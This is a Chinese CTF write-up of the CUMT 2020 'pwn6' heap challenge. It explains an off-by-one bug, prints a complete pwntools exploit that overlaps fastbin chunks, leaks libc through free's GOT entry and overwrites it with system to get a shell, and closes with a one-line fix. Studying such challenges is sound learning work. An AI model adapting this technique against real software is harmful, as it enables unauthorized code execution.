menu 牢记自己是菜
CUMT2020新生赛pwn6复现------overlap
1158 浏览 | 2020-12-02 | 阅读时间: 约 2 分钟 | 分类: AWD,PWn | 标签:
请注意,本文编写于 1234 天前,最后修改于 1174 天前,其中某些信息可能已经过时。

0x1 前言

复现的题目是本次比赛的PWN6

0x2 题目分析

首先我们先分析程序,本题有一个很明显的漏洞,就是在change函数处多读取了一个字节,构成了一个off by one漏洞,由于本题的特殊数据结构,我们可以构造一个fakechunk,形成任意写漏洞。

其次是本题的数据结构,在每次申请堆块的时候,都会先申请一个大小为0x10(0x21)的小堆块,在其中存入用户数据堆块的地址。然后在申请用户所用的堆块。

0x3 漏洞复现

还是一样的流程,附上冠先生的exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#r = remote('219.219.61.234','10015')
r = process('./pwn6')
heap = ELF('./pwn6')
#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = 'debug'
def create(size, content):
    r.recvuntil("choice :")
    r.sendline("1")
    r.recvuntil("size:")
    r.sendline(str(size))
    r.recvuntil("content:")
    r.sendline(content)
def edit(idx, content):
    r.recvuntil("choice :")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)
def show(idx):
    r.recvuntil("choice :")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
def delete(idx):
    r.recvuntil("choice :")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))


free_got = heap.got['free']
create(0x18, "dada")
create(0x10, "ddaa")
#gdb.attach(r)
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
gdb.attach(r)
delete(1)
#gdb.attach(r)
create(0x30, p64(0) * 4 + p64(0x20) + p64(heap.got['free']))#1
show(1)

r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
print hex(free_got)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
r.interactive()

我们的主要利用思路和攻击手段是造成堆块overlap,使堆块可以任意写。

首先我们先申请两个堆块,这两个堆块中第二个堆块大小是有讲究的,后面在说。在申请两个堆块后,其实我们得到了4个堆块。

他们分别是1号堆块(1头+1用户)与2号堆块(1头+1用户)

free_got = heap.got['free']
create(0x18, "dada")
create(0x10, "ddaa")
#gdb.attach(r)
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

由于本程序的释放是同时释放两个堆块的,所以我们单字节溢出1号堆,将2号头溢出为0x41。

然后进行使用free释放2号堆块,此时系统会认为二号堆块的构成是:一个大小为0x30(标志为0x41)的堆+大小为0x10(标志位为0x21)。由于两个堆块大小都属于fastbin,所以不会发生合并,直接丢入等待区。但是我们真实的堆块其实大小只有(0x10+0x10),此时就发生了堆块的重叠。

然后我们再进行一次新的申请,申请大小为0x30。系统就会开始寻找有没有大小合适的fastbin(大小为0x30+0x10),他一下就找到了我们的假chunk。

二号堆就被我们反过来了,并且有存在数据重叠。我们就可以直接修改2号头部的地址为我们got表中的地址,此时我们就完成了堆块的劫持和程序任意的写。后面的步骤就是修改got表,并且shell了。

0x4 程序修复

本题有故意制造漏洞的嫌疑,我们直接将调用用函数的+1删去即可。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!